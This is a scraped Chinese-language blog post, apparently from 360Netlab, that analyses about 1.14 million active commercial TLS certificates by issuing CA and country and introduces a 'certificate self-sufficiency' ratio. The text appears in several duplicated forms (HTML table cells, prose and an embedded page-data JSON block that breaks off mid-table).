<td>317</td>
<td></td>
<td>320</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td>2507</td>
<td></td>
</tr>
<tr>
<td>ID</td>
<td>1822</td>
<td>392</td>
<td></td>
<td>174</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2388</td>
<td></td>
</tr>
<tr>
<td>NO</td>
<td>1815</td>
<td>1358</td>
<td>2022</td>
<td>259</td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td>3</td>
<td>1</td>
<td></td>
<td>5</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>396</td>
<td>5861</td>
<td></td>
</tr>
<tr>
<td>CZ</td>
<td>1713</td>
<td>213</td>
<td>4106</td>
<td>44</td>
<td></td>
<td></td>
<td>29</td>
<td></td>
<td>23</td>
<td></td>
<td>163</td>
<td></td>
<td></td>
<td>3</td>
<td></td>
<td></td>
<td>15</td>
<td>481</td>
<td>6790</td>
<td></td>
</tr>
<tr>
<td>TH</td>
<td>1677</td>
<td></td>
<td></td>
<td>592</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td>2270</td>
<td></td>
</tr>
<tr>
<td>MY</td>
<td>1674</td>
<td>342</td>
<td></td>
<td>807</td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td>1</td>
<td>3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>4</td>
<td></td>
<td></td>
<td>2833</td>
<td></td>
</tr>
<tr>
<td>BE</td>
<td>1582</td>
<td>3857</td>
<td>5458</td>
<td>1585</td>
<td></td>
<td></td>
<td>9</td>
<td></td>
<td></td>
<td>1</td>
<td>2</td>
<td>15</td>
<td></td>
<td>7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>12516</td>
<td></td>
</tr>
<tr>
<td>SA</td>
<td>1564</td>
<td></td>
<td></td>
<td>70</td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td>1638</td>
<td></td>
</tr>
<tr>
<td>PL</td>
<td>1364</td>
<td>521</td>
<td>3333</td>
<td></td>
<td>19</td>
<td></td>
<td>18</td>
<td></td>
<td>2</td>
<td></td>
<td>6510</td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td>1</td>
<td>7</td>
<td></td>
<td>11776</td>
<td>0.552819293</td>
</tr>
<tr>
<td>TW</td>
<td>1300</td>
<td>1724</td>
<td></td>
<td>435</td>
<td>6</td>
<td>3</td>
<td></td>
<td>10934</td>
<td></td>
<td>1</td>
<td>9</td>
<td>7</td>
<td></td>
<td>1</td>
<td></td>
<td>2</td>
<td></td>
<td></td>
<td>14422</td>
<td>0.758147275</td>
</tr>
<tr>
<td>IE</td>
<td>1209</td>
<td>418</td>
<td>797</td>
<td>65</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>40</td>
<td>1</td>
<td>2</td>
<td>5</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>653</td>
<td>3190</td>
<td></td>
</tr>
<tr>
<td>AR</td>
<td>1202</td>
<td>394</td>
<td></td>
<td>44</td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1641</td>
<td></td>
</tr>
<tr>
<td>PH</td>
<td>1022</td>
<td></td>
<td></td>
<td>618</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1640</td>
<td></td>
</tr>
<tr>
<td>CL</td>
<td>952</td>
<td>230</td>
<td></td>
<td>1010</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2192</td>
<td></td>
</tr>
<tr>
<td>IL</td>
<td>847</td>
<td></td>
<td>576</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td>2</td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td>22</td>
<td></td>
<td></td>
<td>1450</td>
<td></td>
</tr>
<tr>
<td>PT</td>
<td>804</td>
<td>1201</td>
<td>3030</td>
<td>106</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td>130</td>
<td>5272</td>
<td></td>
</tr>
<tr>
<td>VN</td>
<td>789</td>
<td>201</td>
<td></td>
<td>1205</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2202</td>
<td></td>
</tr>
<tr>
<td>TR</td>
<td>758</td>
<td>863</td>
<td></td>
<td>1318</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>239</td>
<td>3185</td>
<td></td>
</tr>
<tr>
<td>GR</td>
<td>757</td>
<td>287</td>
<td>1315</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td></td>
<td>1</td>
<td>731</td>
<td>3093</td>
<td></td>
</tr>
<tr>
<td>PE</td>
<td>680</td>
<td>603</td>
<td></td>
<td>147</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>2</td>
<td></td>
<td></td>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1436</td>
<td></td>
</tr>
<tr>
<td>CY</td>
<td>606</td>
<td></td>
<td>195</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>804</td>
<td></td>
</tr>
<tr>
<td>KW</td>
<td>596</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>6</td>
<td></td>
<td></td>
<td>602</td>
<td></td>
</tr>
<tr>
<td>PK</td>
<td>514</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>515</td>
<td></td>
</tr>
<tr>
<td>EC</td>
<td>488</td>
<td></td>
<td></td>
<td>196</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>684</td>
<td></td>
</tr>
<tr>
<td>Other</td>
<td>21910</td>
<td>35588</td>
<td>13494</td>
<td>1825</td>
<td>620</td>
<td>250</td>
<td>136</td>
<td>10</td>
<td>131</td>
<td>28</td>
<td>1781</td>
<td>573</td>
<td>6763</td>
<td>417</td>
<td>273</td>
<td>304</td>
<td>132</td>
<td>20763</td>
<td>104998</td>
<td></td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--> | 概要
数字证书是整个现代webPKI系统的最核心的部分之一。如果说DNS数据标识了网络资产的地址,那么数字证书就是网络资产的身份证。没有,丢失或者被吊销数字证书,就没有办法证明“我”就是“我”。因此PKI系统及其数据已经成为网络真正的基础设施,作为互联网安全运营的基础数据,重要性不言而喻。
3月初,乌克兰政府向互联网域名管理结构ICANN书面请求将俄罗斯相关顶级域名“.ru”, “.рф” 和“.su”从互联网撤销[1],但ICANN并没有认同这份请求[2]。近日,我们注意到俄罗斯相关的一些国家基础设施网站的证书被证书机构陆续吊销。
360Netlab成立之后不久就通过主动、被动相结合的方式收集网络数字证书,并以此为基础构建了网络证书数据库CertDB。目前该库包含证书规模和涉及的IP端口数据达到十亿级,历史数据可追溯超过5年,是360Netlab基础数据分析系统DNSMon的重要组成部分。此外360Netlab同时运营着的网络空间基础数据库包括描述域名注册的WhoisDB、域名解析的PassiveDNS、网站页面的WebDB等等。这些基础数据库的条目以十亿或千亿为单位计,共同构成了用以描述全球网络空间变迁的DNSMon系统。
为了摸清楚数字证书在实际网络空间中的真实情况,本文利用网络证书数据库(CertDB),从数据角度来衡量网络证书数据在使用者和签发者组织和国别之间的分布情况。
数据筛选
我们从DNSMon系统中筛选了如下条件的证书:
1. 在最近3个月活跃的;
2. 非Let's Encrypt,非Cloudflare签发的;
3. 签发者信息中包含国家信息的;
4. 非自签名或者其他不被认为是安全的证书;
通过以上方法,共计得到1,141,907个证书。
以上证书筛选条件的说明:
* 如果证书超过3个月没有活跃,我们认为这些证书所承载的网站的业务已经停止或者活跃度小,证书即使被吊销,影响也有限。
* Let's Encrypt签发的免费证书是现在证书数据的绝对大头。不过因为Let's Encrypt签发的是DV证书,并没有提供OV或者EV证书(关于证书级别的解释见后),所以重要机构和用户目前不会使用Let's Encrypt签发的证书。同理Cloudflare会在其客户中普及使用https,使用Cloudflare的域名都会有一个SSL证书。这两类数据不涉及我们今天分析的主题,所以把它们过滤掉。
* 在收集到的证书中,有些证书主体信息中包含了证书主体所在的国家,有些则没有包含。尽管可以通过证书主体通用名(subject CommonName)中的域名的ccTLD来识别主体所在国家,但并不是所有的CommonName都是ccTLD,此外ccTLD和实际使用中的主体也存在一定的不确定性。因此这次统计中,我们只查看在证书数据中包括明确主体国别标识的证书。
根证书,中间证书
* 什么是根证书机构
根证书是内置在浏览器或者操作系统中的可信证书文件,是整个PKI系统可信上诉链条的顶点,是PKI系统的锚点。全世界只有数量较少的根证书颁发机构。比如在这里firefox列出了其使用的跟证书列表,总共只有49个根证书机构,颁发了138个根证书。windows系统,macOS系统等也类似都有自己的根证书列表。
* 什么是中间证书机构
根证书RootCA不会直接面向企业或者个人用户颁发证书。这些证书数量少,影响范围广,万一出现密钥泄漏,影响太大。所以为了保护根证书,CAs通常会颁发所谓的中间根。CA使用它的私钥对中间根签名,使它受到信任,即所谓中间CA(Intermediate CA)或者中间根。然后中间根使用中间证书的私钥签署和颁发终端用户SSL证书。这个过程可以执行多次,其中一个中间根对另一个中间根进行签名,然后CA使用该根对证书进行签名。这些链接,从根到中间到叶子,都是证书链。
值得提的一点是中间证书机构尽管可以签发证书,不过其在运营策略上会受控于上游RootCA。
目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):
* DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。
* OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。
* EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。
数据分析
我们主要从两个角度即证书签发组织和证书签发组织所在国家来分析使用数字证书最多的50个国家和地区的情况。
由于无论是证书签发组织还是其所属国家,在网络证书数据中,均体现了二八定律,即少数的签发者签发了大量的证书,少数的国家签发了大量的证书。
所以我们分别选取了头部的签发机构和头部签发机构所在的国家来说明具体情况。
证书签发机构
在去掉Let's Encrypt和Cloudflare签发的证书之后,主要的证书签发机构就是一些大型的商业证书提供者。从证书签发机构的角度来看,其分布如下:
从上图可以得到:
1. DigiCert,Sectigo,GEANT Vereniging,GlobalSign和Entrust是从签发数量来说目前排名TOP5的证书提供商,占总证书数量的66%左右。
2. DigiCert相对来说提供的证书数量,区位覆盖度都要比其他的证书提供商更多更广泛。
3. 不同的证书提供商在不同区域的份额有显著的差异。比如:
* 中国、日本、俄罗斯和巴西,DigiCert和GlobalSign的市场份额远大于Sectigo;
* 美国、德国、荷兰和加拿大等地,Sectigo比GlobalSign更受欢迎;
* 在欧洲国家,比如比利时、西班牙、法国和意大利等地,对GEANT Vereniging则情有独钟。
4. 其他的具体数据参见文后的详细数据。
证书签发组织所在国家
为了看清楚证书提供商后面的国家分布,我们把签发主体中的C字段提取出来进行了统计。如下图:
从图中可以看到:
1.
美国,英国,荷兰和比利时(如上节所示,比利时的份额主要是GlobalSign贡献,现被日本GMO公司收购)的整体份额加起来可以达到80.3%,占了绝对的统计地位。
2.
从服务的对象来看,美国,英国,荷兰,比利时等国家的证书注册机构的服务的对象是全球性的,覆盖广泛。国内的证书注册机构面向对象主要还是国内用户。
3.
从证书自给率上来看,中国台湾地区是自给率最高的,达到了75%,接下来是美国和波兰的自给率都超过了50%,分别达到了64%和55%;日本和中国大陆都超过了40%。其他国家都在40%以下。
4.
中国大陆头部的CA的占比如下:
可以看出国内主要是沃通,中国金融认证中心,北京信查查信用管理公司以及亚洲诚信等单位占据了国内证书市场的主流。
值得说明的时候,这些公司中,除了中国金融认证中心之外,其他的几个都是中间CA。其中沃通和北京信查查的上游CA是位于波兰的Certum。亚洲诚信的上游是DigiCert。沃通曾经是rootCA,后来因为多种原因被浏览器厂家相继屏蔽。
关于国内网站的证书普及情况以及相关的CA情况,后续大家也许会看到我们专门的介绍文章。
5.
其他具体的数据参见文后的数据。
证书自给率
证书自给率(数字证书自给率)是我们给出的一个词汇。主要用来衡量一个国家或地区在使用证书方面的对外依赖程度。证书自给率越高,表明该经济体的证书签发和使用程度越高,同时证书的对外依赖程度越低。
计算方法是通过计算证书的签发机构所属国别和证书主体所属国别是否一致来计算得到。即:
证书自给率 = 签发机构国家和证书主体国家相同的证书数量/证书主体国家全部的证书数量。
结论
1. 在去除掉大量的免费证书之外,在商业证书领域,少量的证书签发机构占据了大量的市场份额。
2. 如果从国家和地区的角度来看,第一点中提到的聚集性体现的更加明显,头部的4个国家签发的证书占全部证书的80.3%。
3. 中国大陆的证书自给率有43.6%(详见详细统计数据表二),目前尚缺乏在全球有竞争力的证书签发机构。
参考资料
1. https://pastebin.com/DLbmYahS
2. https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf
详细统计数据
表一:证书使用国家按签发机构统计
注:表中为空项表示CA机构签发该国的证书数量较少,合并到了Other项中。
Top values of subject_C|DigiCert Inc|Sectigo Limited|GEANT Vereniging|GlobalSign nv-sa|"Entrust, Inc."|COMODO CA Limited|"GoDaddy.com, Inc."|Other|sum
|-|-|-|-|-|-|-|-|-|-|-|
US|136185|81530||5548|24028|35088|10172|62861|355412
CN|36579|542||8637|414|12|415|79145|125744
DE|20369|8499|2202|3557|895|86|251|35302|71161
JP|18369|894||12052|481||38|30524|62358
GB|14904|7640|9609|2495|2183|1011|1528|12418|51788
FR|9561|14486|12085|2727|758|255|85|10004|49961
AU|9035|2427||263|1068|72|476|3519|16860
CA|8602|7346||907|5852|907|857|1069|25540
KR|7082|4480||1760||16||682|14020
ES|5583|3573|5282|1402|821|411|171|2014|19257
RU|5550|696||3972||||2421|12639
IT|5500|5009|5705|1058|688|167|193|3339|21659
CH|4643|2575||284|141|14|160|7099|14916
SE|3951|1541|2399|797|58||175|2009|10930
IN|3799|810||1526|1189||762|655|8741
NL|3507|16635|7701|771|237|114|72|4555|33592
HK|3109|1859||655|110|87|324|1252|7396
BR|2574|1370||2477|187|9|374|1052|8043
MX|2446|452||335|133||350|194|3910
AT|2374|1504|3548|217|131||113|1111|8998
AE|2048|||434|61||133|286|2962
SG|1846|738||484|1419|9|140|184|4820
DK|1752|451|421|1310||14|40|347|4335
ID|1730|390||174|59||||2353
CZ|1652|210|3670|44||||1182|6758
NO|1575|1355|1905|259|76||46|644|5860
FI|1568|658|1995||1384||59|1170|6834
CO|1545|318||320|51||249||2483
ZA|1411|897|||1105||50|223|3686
NZ|1406|262|||347||54|1970|4039
SA|1393|||70|112||28||1603
TH|1261|||592|391||15||2259
PL|1235|520|3159||72|||6843|11829
MY|1222|342||807|375||62||2808
BE|1194|3856|5191|1323|307||51|562|12484
AR|1051|394||44|40||82||1611
IE|963|379|742|65|97|38|57|856|3197
TW|926|1722||435|||302|11099|14484
CL|833|227||1010|41||57||2168
IL|760||542||||61||1363
PT|689|1154|2807|106|41|46|58|373|5274
GR|681|286|1168||58|||889|3082
TR|681|297||1318||566|45|263|3170
PH|642|||618|297||69||1626
VN|623|197||1205|141||12||2178
CY|558||176||||21||755
KW|556||||36||||592
PK|487||||||19||506
RO|420|263|509|||||286|1478
EC|417|||196|||26||639
Other|14221|33154|12336|1970|1271|2761|269|35764|101746
表二:证书使用国家按签发机构所属国家统计
注:表中为空项表示CA所属国签发该国的证书数量较少,合并到了Other项中。
Top values of subject_C
US
GB
NL
BE
CN
JP
DE
TW
BM
NZ
PL
FR
HU
CH
ES
cn
IT
Other
sum
self-sufficiency
US
226208
116240
5550
595
20
89
41
12
578
96
15
59
239
271
10
820
350843
0.644755631
CN
43078
651
295
8659
51655
344
488
227
25
8143
250
480
507
3381
4626
565
5764
129138
0.435820595
DE
25761
8573
3390
3557
25
1
24494
1
2650
3
501
6
1768
8
12
19
198
70967
0.345146336
GB
22298
15144
10178
2495
8
2
3
1544
1
33
14
1
8
12
86
51827
0.292202906
JP
19488
897
12052
7
29743
2
10
3
3
5
3
121
62334
0.477155325
CA
16203
8282
907
6
1
3
15
2
5
319
25743
AU
11401
2509
52
263
4
1
3
1876
1
4
1
1
596
16712
FR
11201
14759
12832
2727
13
111
2
597
26
7327
121
10
1
105
49832
0.147034034
KR
7276
4505
1760
17
4
2
2
13
2
402
13983
ES
6646
3993
5499
1402
7
1
1
4
8
1621
19182
0.084506308
IT
6596
5184
6228
1058
1
70
1
4
1
2462
21605
0.113955103
IN
5968
817
1526
2
1
3
2
403
8722
RU
5590
704
3972
9
3
141
4
6
1
2156
12586
CH
5151
2592
484
284
12
28
3
2576
18
8
1
3495
1
216
14869
SE
5122
1543
2492
798
2
1
28
132
1
774
10893
NL
4431
16709
10825
771
7
3
753
3
8
4
2
10
33526
HK
3657
1946
655
23
2
2
3
1
1087
7376
SG
3490
747
484
2
6
4729
BR
3206
1379
2477
2
1
962
8027
FI
3154
656
2189
818
6817
MX
3031
453
335
1
81
3901
AT
2888
1504
3806
217
4
82
42
23
1
55
2
16
348
8988
ZA
2632
899
11
30
114
3686
AE
2374
434
2
19
129
2958
DK
2052
465
449
1310
4276
NZ
1914
264
306
1538
4022
0.382396818
CO
1868
317
320
2
2507
ID
1822
392
174
2388
NO
1815
1358
2022
259
2
3
1
5
396
5861
CZ
1713
213
4106
44
29
23
163
3
15
481
6790
TH
1677
592
1
2270
MY
1674
342
807
2
1
3
4
2833
BE
1582
3857
5458
1585
9
1
2
15
7
12516
SA
1564
70
1
2
1
1638
PL
1364
521
3333
19
18
2
6510
1
1
7
11776
0.552819293
TW
1300
1724
435
6
3
10934
1
9
7
1
2
14422
0.758147275
IE
1209
418
797
65
40
1
2
5
653
3190
AR
1202
394
44
1
1641
PH
1022
618
1640
CL
952
230
1010
2192
IL
847
576
2
2
1
22
1450
PT
804
1201
3030
106
1
130
5272
VN
789
201
1205
7
2202
TR
758
863
1318
7
239
3185
GR
757
287
1315
2
1
731
3093
PE
680
603
147
2
4
1436
CY
606
195
3
804
KW
596
6
602
PK
514
1
515
EC
488
196
684
Other
21910
35588
13494
1825
620
250
136
10
131
28
1781
573
6763
417
273
304
132
20763
104998
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"> 3月初,乌克兰政府向互联网域名管理结构ICANN书面请求将俄罗斯相关顶级域名“.ru”, “.рф” 和“.su”从互联网撤销[1],但ICANN并没有认同这份请求[2]。近日,我们注意到俄罗斯相关的一些国家基础设施网站的证书被证书机构陆续吊销。"}],["markdown",{"markdown":"我们从DNSMon系统中筛选了如下条件的证书:\n```\n1. 在最近3个月活跃的;\n2. 非Let's Encrypt,非Cloudflare签发的;\n3. 签发者信息中包含国家信息的;\n4. 非自签名或者其他不被认为是安全的证书;\n```\n通过以上方法,共计得到1,141,907个证书。"}],["markdown",{"markdown":"以上证书筛选条件的说明:\n* 如果证书超过3个月没有活跃,我们认为这些证书所承载的网站的业务已经停止或者活跃度小,证书即使被吊销,影响也有限。\n* Let's Encrypt签发的免费证书是现在证书数据的绝对大头。不过因为Let's Encrypt签发的是DV证书,并没有提供OV或者EV证书(关于证书级别的解释见后),所以重要机构和用户目前不会使用Let's Encrypt签发的证书。同理Cloudflare会在其客户中普及使用https,使用Cloudflare的域名都会有一个SSL证书。这两类数据不涉及我们今天分析的主题,所以把它们过滤掉。\n* 在收集到的证书中,有些证书主体信息中包含了证书主体所在的国家,有些则没有包含。尽管可以通过证书主体通用名(subject CommonName)中的域名的ccTLD来识别主体所在国家,但并不是所有的CommonName都是ccTLD,此外ccTLD和实际使用中的主体也存在一定的不确定性。因此这次统计中,我们只查看在证书数据中包括明确主体国别标识的证书。\n\n> 根证书,中间证书\n> * 什么是根证书机构\n> 根证书是内置在浏览器或者操作系统中的可信证书文件,是整个PKI系统可信上诉链条的顶点,是PKI系统的锚点。全世界只有数量较少的根证书颁发机构。比如在[这里](https://ccadb-public.secure.force.com/mozilla/CACertificatesInFirefoxReport)firefox列出了其使用的跟证书列表,总共只有49个根证书机构,颁发了138个根证书。windows系统,macOS系统等也类似都有自己的根证书列表。\n> * 什么是中间证书机构\n > 根证书RootCA不会直接面向企业或者个人用户颁发证书。这些证书数量少,影响范围广,万一出现密钥泄漏,影响太大。所以为了保护根证书,CAs通常会颁发所谓的中间根。CA使用它的私钥对中间根签名,使它受到信任,即所谓中间CA(Intermediate CA)或者中间根。然后中间根使用中间证书的私钥签署和颁发终端用户SSL证书。这个过程可以执行多次,其中一个中间根对另一个中间根进行签名,然后CA使用该根对证书进行签名。这些链接,从根到中间到叶子,都是证书链。\n> 值得提的一点是中间证书机构尽管可以签发证书,不过其在运营策略上会受控于上游RootCA。\n\n\n> 目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):\n> * DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。\n> * OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。\n> * EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。"}],["markdown",{"markdown":"我们主要从两个角度即证书签发组织和证书签发组织所在国家来分析使用数字证书最多的50个国家和地区的情况。\n由于无论是证书签发组织还是其所属国家,在网络证书数据中,均体现了二八定律,即少数的签发者签发了大量的证书,少数的国家签发了大量的证书。\n所以我们分别选取了头部的签发机构和头部签发机构所在的国家来说明具体情况。\n\n### 证书签发机构\n在去掉Let's Encrypt和Cloudflare签发的证书之后,主要的证书签发机构就是一些大型的商业证书提供者。从证书签发机构的角度来看,其分布如下:\n<img src = \"/content/images/2022/03/issuer_O_distr_detail.png\" width = 860px />\n从上图可以得到:\n1. DigiCert,Sectigo,GEANT Vereniging,GlobalSign和Entrust是从签发数量来说目前排名TOP5的证书提供商,占总证书数量的66%左右。\n2. DigiCert相对来说提供的证书数量,区位覆盖度都要比其他的证书提供商更多更广泛。\n3. 不同的证书提供商在不同区域的份额有显著的差异。比如:\n * 中国、日本、俄罗斯和巴西,DigiCert和GlobalSign的市场份额远大于Sectigo;\n * 美国、德国、荷兰和加拿大等地,Sectigo比GlobalSign更受欢迎;\n * 在欧洲国家,比如比利时、西班牙、法国和意大利等地,对GEANT Vereniging则情有独钟。\n4. 其他的具体数据参见文后的详细数据。\n\n\n### 证书签发组织所在国家\n为了看清楚证书提供商后面的国家分布,我们把签发主体中的C字段提取出来进行了统计。如下图:\n<img src = \"/content/images/2022/03/issuer_C_distr_detail.png\" width=860px />\n从图中可以看到:\n1. 美国,英国,荷兰和比利时(如上节所示,比利时的份额主要是GlobalSign贡献,现被日本GMO公司收购)的整体份额加起来可以达到80.3%,占了绝对的统计地位。\n2. 从服务的对象来看,美国,英国,荷兰,比利时等国家的证书注册机构的服务的对象是全球性的,覆盖广泛。国内的证书注册机构面向对象主要还是国内用户。\n3. 从证书自给率上来看,中国台湾地区是自给率最高的,达到了75%,接下来是美国和波兰的自给率都超过了50%,分别达到了64%和55%;日本和中国大陆都超过了40%。其他国家都在40%以下。\n<img src = \"/content/images/2022/03/-----_--------.png\" width=860px />\n4. 中国大陆头部的CA的占比如下:\n<img src = \"/content/images/2022/03/CN_CA_distr.png\" width=860px />\n可以看出国内主要是沃通,中国金融认证中心,北京信查查信用管理公司以及亚洲诚信等单位占据了国内证书市场的主流。\n值得说明的时候,这些公司中,除了中国金融认证中心之外,其他的几个都是中间CA。其中沃通和北京信查查的上游CA是位于波兰的Certum。亚洲诚信的上游是DigiCert。沃通曾经是rootCA,后来因为多种原因被浏览器厂家相继屏蔽。\n关于国内网站的证书普及情况以及相关的CA情况,后续大家也许会看到我们专门的介绍文章。\n\n5. 其他具体的数据参见文后的数据。\n\n> 证书自给率\n> 证书自给率(数字证书自给率)是我们给出的一个词汇。主要用来衡量一个国家或地区在使用证书方面的对外依赖程度。证书自给率越高,表明该经济体的证书签发和使用程度越高,同时证书的对外依赖程度越低。\n> 计算方法是通过计算证书的签发机构所属国别和证书主体所属国别是否一致来计算得到。即:\n> 证书自给率 = 签发机构国家和证书主体国家相同的证书数量/证书主体国家全部的证书数量。\n\n\n## 结论\n1. 在去除掉大量的免费证书之外,在商业证书领域,少量的证书签发机构占据了大量的市场份额。\n2. 如果从国家和地区的角度来看,第一点中提到的聚集性体现的更加明显,头部的4个国家签发的证书占全部证书的80.3%。\n3. 中国大陆的证书自给率有43.6%(详见详细统计数据表二),目前尚缺乏在全球有竞争力的证书签发机构。 \n\n## 参考资料\n1. https://pastebin.com/DLbmYahS\n2. https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf\n\n\n\n## 详细统计数据\n#### 表一:证书使用国家按签发机构统计\n*注:表中为空项表示CA机构签发该国的证书数量较少,合并到了Other项中。*\nTop values of subject_C|DigiCert Inc|Sectigo Limited|GEANT Vereniging|GlobalSign nv-sa|\"Entrust, Inc.\"|COMODO CA Limited|\"GoDaddy.com, Inc.\"|Other|sum\n|-|-|-|-|-|-|-|-|-|-|-|\nUS|136185|81530||5548|24028|35088|10172|62861|355412\nCN|36579|542||8637|414|12|415|79145|125744\nDE|20369|8499|2202|3557|895|86|251|35302|71161\nJP|18369|894||12052|481||38|30524|62358\nGB|14904|7640|9609|2495|2183|1011|1528|12418|51788\nFR|9561|14486|12085|2727|758|255|85|10004|49961\nAU|9035|2427||263|1068|72|476|3519|16860\nCA|8602|7346||907|5852|907|857|1069|25540\nKR|7082|4480||1760||16||682|14020\nES|5583|3573|5282|1402|821|411|171|2014|19257\nRU|5550|696||3972||||2421|12639\nIT|5500|5009|5705|1058|688|167|193|3339|21659\nCH|4643|2575||284|141|14|160|7099|14916\nSE|3951|1541|2399|797|58||175|2009|10930\nIN|3799|810||1526|1189||762|655|8741\nNL|3507|16635|7701|771|237|114|72|4555|33592\nHK|3109|1859||655|110|87|324|1252|7396\nBR|2574|1370||2477|187|9|374|1052|8043\nMX|2446|452||335|133||350|194|3910\nAT|2374|1504|3548|217|131||113|1111|8998\nAE|2048|||434|61||133|286|2962\nSG|1846|738||484|1419|9|140|184|4820\nDK|1752|451|421|1310||14|40|347|4335\nID|1730|390||174|59||||2353\nCZ|1652|210|3670|44||||1182|6758\nNO|1575|1355|1905|259|76||46|644|5860\nFI|1568|658|1995||1384||59|1170|6834\nCO|1545|318||320|51||249||2483\nZA|1411|897|||1105||50|223|3686\nNZ|1406|262|||347||54|1970|4039\nSA|1393|||70|112||28||1603\nTH|1261|||592|391||15||2259\nPL|1235|520|3159||72|||6843|11829\nMY|1222|342||807|375||62||2808\nBE|1194|3856|5191|1323|307||51|562|12484\nAR|1051|394||44|40||82||1611\nIE|963|379|742|65|97|38|57|856|3197\nTW|926|1722||435|||302|11099|14484\nCL|833|227||1010|41||57||2168\nIL|760||542||||61||1363\nPT|689|1154|2807|106|41|46|58|373|5274\nGR|681|286|1168||58|||889|3082\nTR|681|297||1318||566|45|263|3170\nPH|642|||618|297||69||1626\nVN|623|197||1205|141||12||2178\nCY|558||176||||21||755\nKW|556||||36||||592\nPK|487||||||19||506\nRO|420|263|509|||||286|1478\nEC|417|||196|||26||639\nOther|14221|33154|12336|1970|1271|2761|269|35764|101746\n\n#### 表二:证书使用国家按签发机构所属国家统计\n*注:表中为空项表示CA所属国签发该国的证书数量较少,合并到了Other项中。*\nTop values of 